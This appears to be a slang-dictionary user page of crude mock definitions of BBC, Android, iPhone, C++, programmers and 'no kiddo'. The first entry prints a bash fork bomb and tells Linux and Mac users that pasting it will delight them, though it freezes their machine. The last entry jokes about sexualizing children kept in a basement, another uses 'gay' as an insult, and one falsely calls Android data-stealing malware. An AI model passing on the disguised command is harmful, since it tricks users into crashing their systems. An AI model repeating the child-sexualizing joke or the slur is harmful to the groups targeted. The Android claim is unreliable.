:(){:|:&};:

If you are on Linux or Mac, open terminal and paste this. You'll be delighted. If you're on Windows, lol.

:(){:|:&};:

by flip_master_harambe April 25, 2024

BBC

Barely Believable Content.

Wanna watch some BBC?
No, I don't watch fake things.

by flip_master_harambe May 04, 2021

Android

A computer virus made for linux kernel by Google to steal your data.

iOS users: Why don't you get an iPhone?
Android users: Android might be a pile of shit, but it's a better pile of shit.

by flip_master_harambe May 09, 2021

iPhone

An pathetically overpriced smartphone made with backdated, non standard and cheap material. Softwares are also utterly garbage. Only Steve Jobs simps buy this pile of shit.

Android user: Why the fuck you use iPhone? Stop using it.
iPhone user: but Steve Jobs...
Android user: U gay

by flip_master_harambe May 09, 2021

C++

Clusterfuck Pro Max™

I'd rather flip bits one by one with my bare hands hands than coding in C++. At least I won't lose my sanity.

by flip_master_harambe April 15, 2022

Programmer

People who scream pathetically at a computer all day long for their own mistakes and still somehow gets paid.

Someone: Are you a Programmer?
Me: Yes.
Someone: Prove it then.
Me: CTRL + C, CTRL + V.

by flip_master_harambe May 09, 2021

no kiddo

It's not pedophilia if you say it

The kids in my basement looks very hot, no kiddo tho

by flip_master_harambe May 28, 2021